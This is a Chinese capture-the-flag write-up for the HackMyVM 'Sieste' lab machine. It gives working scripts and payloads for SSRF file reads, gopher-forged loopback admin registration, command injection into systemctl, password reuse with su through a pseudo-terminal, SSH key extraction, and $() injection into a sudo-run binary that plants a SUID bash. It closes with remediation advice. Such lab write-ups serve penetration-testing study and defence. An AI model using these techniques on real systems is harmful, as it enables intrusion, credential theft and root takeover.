跳到主要内容

HackMyVM Sieste 靶机通关记录|SSRF 文件读取、gopher 绕过与命令注入提权

靶机链接:Sieste


0x01 基本信息​

名称IP说明
Kali Linux192.168.1.109攻击机
Sieste192.168.1.119靶机(Ubuntu 26.04.1 LTS,主机名 sieste)

靶机包含两枚 Flag:用户 Flag(位于 /home/fake/user.txt)与 Root Flag(位于 /root/root.txt)。

靶机环境特征

本机 MOTD 标记:Build with love by eMVee,主域名 sieste.lan。


攻击流程​

点击展开

攻击链摘要​

突破阶段决定性证据核心利用价值
任意文件读取sync.php 的 report_url=file:///var/www/html/db.php证实协议过滤仅阻断 php://,成功获取数据库口令 Containment2026!
回环越权注册report_url=gopher://127.0.0.1:80/_POST%20... 报文伪造来源绕过 registration.php 的 IP 白名单,成功创建 role=admin 账号
初始立足点service_name=x >/dev/null 2>&1; <cmd> 注入绕过 systemctl status 噪声并实现无衰减回显,确立 www-data 远程执行通道
密码复用横向fake 用户系统口令复用数据库密码 Containment2026!利用 script 构造 PTY 突破非交互式 su 限制,提取 SSH 私钥登录 fake
Root 提权/opt/user_sync 的 MySQL -e "... # %s \"" 双引号上下文发现单引号黑名单在双引号内失效,利用 $() 注入以 root 权限投放 SUID bash

0x02 侦察与信息收集​

1. 全端口扫描 (RustScan + Nmap)​

先通过 RustScan 极速扫描定位开放端口,再调用 Nmap 对特定端口进行版本指纹与默认脚本识别:

rustscan -a 192.168.1.119 --ulimit 5000 -- -sV -sC -Pn
nmap -Pn -T4 --top-ports 100 192.168.1.119

端口扫描策略与自动化配置可参考知识库:端口扫描实战流程:RustScan 与 Nmap。

扫描结果:

端口状态服务指纹 / 备注
22/tcpopenSSHOpenSSH 10.2p1 Ubuntu 2ubuntu3.6
80/tcpopenHTTPApache/2.4.66 (Ubuntu),标题 SIESTE 政务门户
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.2p1 Ubuntu 2ubuntu3.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.66 ((Ubuntu))
|_http-title: State Institute for Environmental Safety & Transmutation Emerg...
|_http-server-header: Apache/2.4.66 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS

2. Web 目录枚举​

使用 Gobuster 配合通用字典对 Web 服务进行目录与文件探测,详细用法可参考 Gobuster 目录枚举实战 与 Web 目录发现工作流:

gobuster dir -u http://192.168.1.119/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 40

关键探测结果如下:

api (Status: 301) [--> http://192.168.1.119/api/]
dashboard.php (Status: 302) [--> login.php]
db.php (Status: 200) [Size: 0]
index.php (Status: 200)
login.php (Status: 200)
logout.php (Status: 302)
sync.php (Status: 200)
server-status (Status: 403)

综合目录爆破与首页链接,定位到以下关键入口:

  • 首页 index.php 显式链接的入口:
    • sync.php:Field Lab Synchronization Hub 数据同步接口;
    • login.php:Employee Sign-In 员工登录页。
  • 目录枚举发现的隐藏控制台:
    • dashboard.php:内部控制台接口(未鉴权时 302 重定向至 login.php)。

0x03 漏洞探测与分析​

1. sync.php SSRF 任意文件读取​

sync.php 界面提示「输入节点 API 端点以拉取 JSON 数据」,接收 POST 参数 report_url。先提交 http://127.0.0.1/ 测试,服务端返回了本机首页内容,确认存在服务端请求伪造(SSRF)。

尝试通过 file:// 协议读取目标服务端源码:

curl -sS -X POST --data-urlencode "report_url=file:///var/www/html/sync.php" \
http://192.168.1.119/sync.php

成功读取到 sync.php 核心源码:

// STRICT PROTOCOL FILTER: Prevent php:// subversion
if (preg_match('/^php:\/\//i', trim($url))) {
$error = "🚨 SECURITY ALERT: ...";
} else {
// Initialize cURL execution (Allows http, https, file, and gopher out-of-the-box)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$report_content = curl_exec($ch);
}

后端仅对 php:// 伪协议进行了正则黑名单过滤,而底层 cURL 默认支持的 file:// 与 gopher:// 协议均被直接放行——这为后续任意文件读取与内网 HTTP 报文伪造奠定了基础。

为提高读取效率,编写自动化文件读取辅助脚本 ssrf.sh:

提示:以下为核心实现片段,包含完整错误与报错解析的脚本见文末附件。

#!/bin/bash
# usage: ./ssrf.sh <file:///path 或 http://url>
u="$1"
curl -sS -m 20 -X POST --data-urlencode "report_url=$u" http://192.168.1.119/sync.php \
| python3 -c "
import sys,html,re
t=sys.stdin.read()
m=re.search(r'data-output[^>]*>(.*?)</div>',t,re.S)
print(html.unescape(m.group(1)) if m else '[no output]')
"

2. 读取 db.php 拿到数据库凭据​

使用辅助脚本直接抓取 db.php 配置文件:

./ssrf.sh "file:///var/www/html/db.php"

文件回显直接泄露数据库连接信息与核心口令:

$host = '127.0.0.1';
$db = 'sieste_db';
$user = 'sieste_app'; // username
$pass = 'Containment2026!'; // password

3. 读取受保护接口 api/users/registration.php​

进一步探测目录结构,发现 api/users/ 下存在 registration.php:

./ssrf.sh "file:///var/www/html/api/users/registration.php"

检查其核心业务逻辑:

// Strict infrastructure filter: Block any request not originating from localhost
$allowed_ips = ['127.0.0.1', '::1'];
if (!in_array($_SERVER['REMOTE_ADDR'], $allowed_ips)) {
header('HTTP/1.1 403 Forbidden');
...
exit;
}
...
$stmt = $pdo->prepare("
INSERT INTO users (username, password_hash, role)
VALUES (:user, :hash, 'admin')
ON DUPLICATE KEY UPDATE password_hash = :hash_update, role = 'admin'
");
为什么 loopback 白名单会被绕过

registration.php 校验 $_SERVER['REMOTE_ADDR'] 必须为 127.0.0.1 或 ::1。外部请求会返回 403,但该接口只要接收到合法的 JSON 载荷(username、password),就会直接写入或更新为 role='admin'。

由于 sync.php 支持 gopher:// 协议,攻击者可通过 SSRF 命令服务器从回环网络发起请求,使得 REMOTE_ADDR 天然为 127.0.0.1,从而彻底绕过 IP 访问控制。相关鉴权边界缺陷可参考 受信任客户端鉴权绕过。

旁证分析:隐藏虚拟主机 gov.internal(叙事背景)

读取 Apache 虚拟主机配置文件,发现目标配置了第二个内网站点:

ServerName gov.internal
DocumentRoot /var/www/gov_internal
<Directory /var/www/gov_internal>
Options -Indexes +FollowSymLinks
Require local
</Directory>

利用 SSRF 读取 /var/www/gov_internal/index.php,返回一段 JSON 数据,其中包含 secret_hint = "Keep going with you research",属于靶机背景叙事提示(SIESTE 生物应急响应事件),核心攻击路径仍落在主站。


0x04 初始访问:gopher 绕过 loopback 注册 → 命令注入​

1. gopher 伪造内网 POST 注册 admin​

sync.php 中的 cURL 支持 gopher:// 伪协议。在构造请求载荷时,需要特别注意 URL 编解码的阶段性差异:

  • 单层编码的失败原因:若直接使用 curl -d "report_url=..." 传递包含 %0d%0a 的数据,PHP 服务端在解析 POST 请求主体时会自动进行一次 URL 解码,将 %0d%0a 还原为字面控制字符 \r\n。当 PHP 将包含原始换行符的 URL 传入 curl_setopt($ch, CURLOPT_URL, $url) 时,底层 libcurl 的 URL 校验器会检测到非法控制字符,直接抛出 Telemetry failure: URL rejected: Malformed input to a URL function 报错而中断执行;
  • 双层编码的逃逸机制:必须使用 curl --data-urlencode 构造第二层 URL 编码(将 %0d%0a 转换为 %250d%250a)。当 PHP 解析 POST 请求时,仅解开最外层编码还原为 %0d%0a,使进入 curl_setopt() 的 URL 始终保持合法的纯 ASCII 字符串,顺利逃过 PHP 的自动解码破坏;
  • 底层 Socket 解码发包:最终,libcurl 的 gopher 协议实现会在向目标端口(80)建立底层 TCP 套接字发送数据时,对路径中的 %0d%0a 进行内部解码,将真实的 CRLF 换行字节流原样投递给服务端,从而在本地回环网络中伪造出合法的 HTTP POST 请求报文。

编写注册利用脚本 gopher_reg.sh:

提示:以下为核心构造逻辑,具备请求响应解析的完整脚本见文末附件。

#!/bin/bash
BODY='{"username":"pwn","password":"pwn123"}'
CLEN=${#BODY}
REQ="POST%20/api/users/registration.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/json%0d%0aContent-Length:%20${CLEN}%0d%0aConnection:%20close%0d%0a%0d%0a${BODY}"
curl -sS -m 15 -X POST --data-urlencode "report_url=gopher://127.0.0.1:80/_${REQ}" \
http://192.168.1.119/sync.php
gopher 报文编码对照与机制验证
  • 单层编码(失败):curl -X POST -d "report_url=gopher://..." → PHP 自动解码导致 URL 混入原始 \r\n → libcurl 拒绝执行并报错 Malformed input to a URL function。
  • 双层编码(成功):curl -X POST --data-urlencode "report_url=gopher://..." → 第二层编码保护 %0d%0a 完整穿越 PHP,安全交由 libcurl 在底层 TCP 套接字发送阶段解码还原为 HTTP 报文。

执行脚本完成特权账号注册:

chmod +x gopher_reg.sh && ./gopher_reg.sh

服务端响应返回注册成功信息:

HTTP/1.1 200 OK
Content-Type: application/json

{"status":"SUCCESS","message":"Profile state updated. Identity vector successfully provisioned into administrative clearance group."}

2. 登录后台并利用命令注入​

使用刚注册的高权限账号 pwn:pwn123 登录系统并保存 Session Cookie:

curl -sS -c cookies.txt -b cookies.txt -X POST -d "username=pwn&password=pwn123" \
http://192.168.1.119/login.php

登录后审计 dashboard.php,发现服务状态查询功能存在不安全命令拼接:

$service = $_POST['service_name'];
$cmd_output = shell_exec("systemctl status " . $service . " 2>&1");

POST 参数 service_name 未经过任何过滤或转义即拼接进 Shell 命令中,存在直接的命令注入脆弱性(参考 命令注入绕过技巧)。

在 Kali 本机验证命令执行与上下文环境:

# [Kali 本地终端] 经由 HTTP 请求测试命令注入通道:
curl -sS -b cookies.txt -X POST \
--data-urlencode "service_name=apache2; id; hostname; uname -a" \
http://192.168.1.119/dashboard.php

回显成功输出系统信息:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
sieste
Linux sieste 7.0.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Aug 1 04:26:38 UTC 2026 x86_64 GNU/Linux

为便于持续从 Kali 端发起命令,编写轻量命令执行脚本 rce2.sh(通过 x >/dev/null 2>&1; <cmd> 消除 systemctl 默认输出噪音):

#!/bin/bash
cmd="$1"
curl -sS -m 60 -b cookies.txt -X POST \
--data-urlencode "service_name=x >/dev/null 2>&1; $cmd" \
http://192.168.1.119/dashboard.php \
| python3 -c "
import sys,html,re
t=sys.stdin.read()
m=re.search(r'data-output[^>]*>(.*?)</div>',t,re.S)
print(html.unescape(m.group(1)) if m else '[no output]')
"

3. www-data 侧信息收集与提权路径排除​

在 Kali 本机调用 rce2.sh 枚举靶机资产与基础配置:

# [Kali 本地终端] 调用 rce2.sh 收集靶机系统资产:
./rce2.sh 'cat /etc/passwd; ls -la /home; ls -la /opt; id; sudo -n -l'

系统发现关键信息:

  • /etc/passwd 中存在普通系统用户:fake:x:1000:1000:Dr. F.A.Ke:/home/fake:/bin/bash;
  • /home/fake 目录权限为 drwxr-x--- fake fake,当前 www-data 用户无法直接访问;
  • /opt/user_sync 属于 root 用户,文件权限为 0755(全局可执行),为自研同步二进制。
攻击分支复盘:为什么排除 2026 年内核页缓存类 LPE 路线

内核版本显示为 7.0.0-31-generic,在版本区间上覆盖多个经典页缓存类 LPE 漏洞(如 CopyFail CVE-2026-31431、pedit COW CVE-2026-46331、DirtyClone CVE-2026-43503,详情参见 CVE-2026-31431 Copy Fail 分析)。

但在实测中,系统存在两层独立的隔离机制,彻底阻断了非特权用户命名空间(userns)提权路线:

  1. Web 沙箱内(www-data 上下文):systemd 为 Apache 服务单元配置了 RestrictNamespaces=yes 安全沙箱限制。进程发起 unshare(CLONE_NEWUSER) 时,系统调用在入口处即被内核拒绝,直接报错 unshare failed: Operation not permitted;
  2. 沙箱外部(fake 系统用户上下文):脱离 Apache 沙箱后,unshare 系统调用本身可被执行,但在尝试写入 /proc/self/uid_map 进行 UID 映射时,触发了现代 Ubuntu 默认启用的 AppArmor 限制(kernel.apparmor_restrict_unprivileged_userns = 1),报错 write failed /proc/self/uid_map: Operation not permitted。

两层控制分别从系统调用入口与 UID 映射出口阻断了非特权 user namespace 的创建,导致攻击者无论在沙箱内还是沙箱外,均无法获得伪命名空间中的 CAP_NET_ADMIN。同时 LinPEAS 探针也证实 CopyFail 处于 NOT VULNERABLE 状态。因此内核利用路线不可行,应转向应用层与本地配置审计。


0x05 横向移动:密码复用进入 fake 并拿到 user flag​

1. 密码复用与 su fake 的 TTY 突破​

虽然 /etc/shadow 对 www-data 不可读,但安全审计中常见的凭据复用现象再次出现:先前从 db.php 中获得的数据库密码 Containment2026! 正好复用为系统用户 fake 的登录口令(参考 密码复用与横向移动)。

操作上下文与非交互式 TTY 限制突破

当前我们在 Kali 端仅拥有通过 rce2.sh 发送的 HTTP POST 单向命令通道(运行于靶机 www-data 上下文)。若在无终端环境中直接执行 su fake,系统会因未连接终端设备而直接报错:

su: must be run from a terminal

为了在非交互式通道中成功执行交互式命令 su,我们利用 Linux 内置的 script 工具分配伪终端(PTY):

  • script -qc "<command>" /dev/null:在子进程中建立虚拟 PTY 运行环境,避免输出日志落盘;
  • { sleep 1; echo "Containment2026!"; } |:通过管道延时 1 秒,等待 su 提示符初始化后将口令喂入标准输入。

在 Kali 本机调用 rce2.sh 验证口令复用与权限切换:

# [Kali 本地终端] 通过 rce2.sh 经 www-data 通道执行(利用 script 伪终端向 su 喂入口令):
./rce2.sh '{ sleep 1; echo "Containment2026!"; } | script -qc "su fake -c id" /dev/null'

命令成功返回 fake 用户身份:

Password:
uid=1000(fake) gid=1000(fake) groups=1000(fake),24(cdrom),30(dip),46(plugdev),100(users)

2. User Flag​

保持该执行模式,经由 www-data 通道以 fake 用户身份读取 User Flag:

# [Kali 本地终端] 经由 rce2.sh 以 fake 身份读取 user.txt:
./rce2.sh '{ sleep 1; echo "Containment2026!"; } | script -qc "su fake -c \"cat /home/fake/user.txt\"" /dev/null'

User Flag:

HMV(SSRF_F1l3_3num_4nd_G0ph3r_Pwn4g3}

3. 提取 fake 的 SSH 私钥并建立交互式 SSH 会话​

检查 fake 用户家目录下的 .ssh 配置:

# [Kali 本地终端] 检查 .ssh 目录:
./rce2.sh '{ sleep 1; echo "Containment2026!"; } | script -qc "su fake -c \"ls -la /home/fake/.ssh\"" /dev/null'

确认目录中存在 id_rsa_fake(4096-bit RSA 私钥)与 authorized_keys。依循实战打靶复现原则,靶机预置的 SSH 私钥无需作为附件下载,由读者根据以下步骤自行从靶机提取并保存至本地。

通过 base64 编码将私钥导出,避免二进制和特殊字符在 HTTP 回显中损坏:

# [Kali 本地终端] 将 fake 的 SSH 私钥以 base64 格式导出:
./rce2.sh '{ sleep 1; echo "Containment2026!"; } | script -qc "su fake -c \"base64 -w0 /home/fake/.ssh/id_rsa_fake\"" /dev/null'
提取私钥时的回显清洗

由于 script 捕获 PTY 终端交互,输出首部可能混有 Password: 提示符或终端换行符。复制时须仅截取纯 Base64 编码数据,避免多余字符导致解码出的私钥损坏。

在本地解码保存私钥、收紧文件权限,并在连接前使用 ssh-keygen -y 校验私钥的有效性与完整性:

# [Kali 本地终端] 保存私钥至本地并赋予 600 权限:
echo "<base64_string>" | base64 -d > id_rsa_fake
chmod 600 id_rsa_fake

# 验证私钥完整性(若能成功派生公钥输出即说明私钥格式无损):
ssh-keygen -y -f id_rsa_fake

使用私钥直接发起 SSH 登录,取得完整、不受 Apache 沙箱限制的交互式 Shell:

# [Kali 本地终端] 通过私钥直连 SSH,取得交互式终端:
ssh -i id_rsa_fake fake@192.168.1.119
fake 用户环境状态

在 SSH 终端中检查发现:

  1. fake 用户的 .bash_history 被软链接到了 /dev/null,未残留历史命令;
  2. 在 ~/Development/user_sync.c 找到了目标提权程序 /opt/user_sync 的完整源码,为后续审计提供了直接线索。

0x06 权限提升:sudo NOPASSWD + /opt/user_sync 命令注入​

1. sudo -l 发现可利用规则​

在 SSH 终端中枚举 fake 用户的 sudo 特权(参考 sudo 工具滥用):

# [靶机终端 fake@sieste] 枚举当前账户的 sudo 免密特权:
sudo -l

命令输出返回两处免密特权规则:

User fake may run the following commands on sieste:
(ALL : ALL) NOPASSWD: /usr/bin/sudo -l
(root) NOPASSWD: /opt/user_sync

fake 用户可以无需密码、直接以 root 身份执行 /opt/user_sync。

枚举视角的权限差异与 InaccessiblePaths 沙箱

在 www-data(Apache)环境下枚举时,/etc/sudoers 文件大小显示为 0 且权限为 000(---------- 1 root root 0),极易误判为“系统未配置 sudo 规则”或“文件为空”。

这一现象的真实原因并非常规 Unix DAC 权限不足,而是 systemd 为 Apache 服务单元配置了挂载命名空间隔离指令 InaccessiblePaths=-/etc/sudoers 与 InaccessiblePaths=-/etc/sudoers.d。systemd 在服务沙箱内将敏感系统路径挂载为不可读写的零字节空节点,从而对 Web 进程进行遮蔽。而在脱离 Apache 单元的宿主环境(如 fake 的交互式 SSH 会话)中,/etc/sudoers 始终完整存在且可正常通过 sudo -l 进行提权规则枚举。

2. 深入分析 /opt/user_sync 的注入点​

阅读源码 ~/Development/user_sync.c,分析其权限提升与参数处理逻辑:

if (setresuid(0, 0, 0) != 0) { perror("[-] Error: Failed to set suid privileges"); return 1; }
...
struct passwd *pwd = getpwnam(username);
if (pwd->pw_uid < 1000) { /* 禁止针对 root 等系统账户 */ return 1; }
if (strchr(password, '\'') || strchr(password, ';') || strchr(password, '|')) {
printf("[-] Error: Invalid characters detected in password.\n"); return 1;
}

// 动作 1:修改系统口令(单引号包裹,安全)
snprintf(os_cmd, sizeof(os_cmd), "echo '%s:%s' | chpasswd", username, password);
system(os_cmd);

// 动作 2:生成 SHA-512 口令哈希
snprintf(hash_cmd, sizeof(hash_cmd), "openssl passwd -6 '%s'", password);
FILE *fp = popen(hash_cmd, "r"); ...

// 动作 3:同步至 MySQL 数据库(致命注入缺陷)
snprintf(db_cmd, sizeof(db_cmd),
"mysql -u sieste_app -p'Containment2026!' -h 127.0.0.1 -e "
"\"INSERT INTO sieste_db.users (username, password_hash, role) "
"VALUES ('%s', '%s', 'operator') "
"ON DUPLICATE KEY UPDATE password_hash='%s'; # %s \"",
username, dynamic_hash, dynamic_hash, password);
system(db_cmd);

关键脆弱性剖析:

  1. 黑名单缺陷:输入校验仅拦截了单引号 '、分号 ; 以及管道符 |,未拦截命令替换符 $()、反引号 ` 以及逻辑与 &&;
  2. 上下文不一致:在动作 1 中,password 处于单引号上下文 '%s' 中,无法进行变量展开;但在动作 3 中,password 被拼接进 MySQL 命令参数的 双引号上下文 \"... # %s \";
  3. 特权展开执行:由于处于双引号内,当 /bin/sh 解析整条命令时,$() 中的表达式会在执行 MySQL 客户端之前、在已通过 setresuid(0, 0, 0) 获得 root 权限的上下文内优先被展开执行。

3. 投放 SUID bash 提权​

提权操作对 fake 系统口令的副作用

/opt/user_sync 的动作 1 会执行 echo 'fake:<password>' | chpasswd,这意味着注入载荷字符串会被作为明文同步更新为 fake 用户的新系统口令。这也正是 0x05 节必须先导出 id_rsa_fake 私钥的原因——基于 SSH 密钥的公钥认证可确保在系统密码被载荷篡改后,依然能够稳定登录和维持交互会话。

利用 && 串联命令绕过分号 ; 的过滤,构造注入载荷将 /bin/bash 复制到 /var/tmp/rb 并置位 SUID(4755):

# [靶机终端 fake@sieste] 构造单引号 argv 注入载荷,以 root 权限投放 SUID bash 并确认属性:
sudo /opt/user_sync fake '$(cp /bin/bash /var/tmp/rb && chmod 4755 /var/tmp/rb)'
ls -la /var/tmp/rb
argv 参数与单双引号上下文差异

执行时外层必须使用单引号包裹 payload,确保本地 Shell 不会提前求值,而将整个载荷作为单一 argv 参数传递给 /opt/user_sync,在程序内部以 root 身份调用 system() 时才触发求值。

此外,由于 /tmp 经常挂载为 nosuid,将提权二进制投放至根分区下的 /var/tmp 更加稳定可靠。

命令输出如下,验证 SUID 二进制文件已成功生成:

mysql: [Warning] Using a password on the command line interface can be insecure.
[*] Synchronizing password for Linux system user 'fake'...
[*] Mirroring operations into sieste_db replication engine...
-rwsr-xr-x 1 root root 1540520 Oct 7 11:37 /var/tmp/rb

4. 读取 root flag​

使用带有 SUID 权限的 bash 并添加 -p(保留真实权限),直接获取 root 权限并读取 Root Flag:

# [靶机终端 fake@sieste] 启动 SUID bash 保持特权并读取 Root Flag:
/var/tmp/rb -p -c 'id; cat /root/root.txt'

系统成功返回 root 权限信息与 Flag:

uid=1000(fake) gid=1000(fake) euid=0(root) groups=1000(fake),24(cdrom),30(dip),46(plugdev),100(users)
Flag: HMV(Never_trust_localhost_SIESTE}

0x07 最终成果​

User Flag​

  • 文件路径: /home/fake/user.txt
  • Flag 凭证: HMV(SSRF_F1l3_3num_4nd_G0ph3r_Pwn4g3}

Root Flag​

  • 文件路径: /root/root.txt
  • Flag 凭证: HMV(Never_trust_localhost_SIESTE}

0x08 复盘与防御建议​

1. 攻击链关键节点与修复建议​

环节缺陷本质修复方向
协议过滤sync.php 采用黑名单方式仅拦截 php://,放行 file:// 与 gopher://改用严格的协议白名单(如仅允许 http 与 https),禁用 file、gopher、dict 等高危底层协议
回环鉴权registration.php 仅依赖 $_SERVER['REMOTE_ADDR'] 判断来源是否为 127.0.0.1内部高危管理接口禁止仅凭 IP 建立信任;引入基于 Token、会话或 HMAC 的强认证机制
命令拼接dashboard.php 将用户输入拼接进 shell_exec("systemctl status " . $service)避免使用 shell 执行系统命令;使用进程库参数化调用或对允许查询的服务名称设置严格白名单
口令复用数据库凭据与系统用户 fake 口令完全相同(Containment2026!)落实账号权限隔离与凭据最小化原则;应用与底层系统账户采用高强度独立凭据
sudo 规则为 fake 用户授予了高危自研工具的 (root) NOPASSWD 权限遵循最小权限原则;严格审计 NOPASSWD 授权程序的安全性,或改用受限脚本
命令替换注入/opt/user_sync 仅黑名单过滤单引号,却在双引号上下文内拼接执行 shell参数化调用底层命令或使用 API 库,杜绝在 system() 拼接中引入不可信输入;完善转义

2. 关键教训​

  • 黑名单协议过滤形同虚设:SSRF 防御中,只防范某种特定伪协议(如 php://)极为危险。cURL 原生支持数十种网络与本地协议,未显式禁用 gopher 与 file 往往导致内网击穿与本地文件全盘失守。
  • “仅限本机访问”不是安全边界:当应用系统内部存在 SSRF 漏洞时,服务器自身即成为最佳的攻击跳板,基于 REMOTE_ADDR == 127.0.0.1 的边界防护瞬间失效。
  • 以目标用户身份执行 sudo 枚举:渗透测试中若从低权限(如 www-data)视角查看 sudo 配置,可能会因权限不足看到空文件;必须在横向获取具体系统用户后重新运行 sudo -l 进行全面审计。
  • 严格区分 Shell 上下文中的引号语义:在 C/C++ 或脚本中调用 system() 时,单引号可防止 $() 展开,而双引号允许命令替换。黑名单若仅过滤单引号,在双引号上下文中将彻底失守。
  • 内核漏洞利用需提前求证前置条件:即使内核版本命中公开 CVE(如页缓存漏洞),若操作系统开启了 user namespace 限制或容器沙箱,相关利用链依然无法奏效,应快速调整方向聚焦应用配置缺陷。

0x09 附件文件​

文件说明
ssrf.shsync.php SSRF 任意文件读取辅助脚本(提取 data-output 并处理 HTML 转义)
gopher_reg.shgopher 协议伪造 loopback 请求注册管理员账号脚本
rce2.shdashboard.php 命令注入客户端包装脚本(抑制干扰输出)
user_sync靶机 /opt/user_sync 提权二进制副本(ELF 64-bit,供本地逆向审计)

运行前提与使用提示:

  • 执行权限:下载各 Shell 脚本后须赋予执行权限(chmod +x *.sh);默认目标 IP 为 192.168.1.119。
  • rce2.sh:先按 0x04 节后台登录步骤在当前运行目录生成 cookies.txt,脚本将自动读取该凭据维持认证并发送载荷。
  • user_sync:仅作为静态逆向和 Ghidra / IDA 结构分析样本,切勿直接在宿主环境以 root 执行。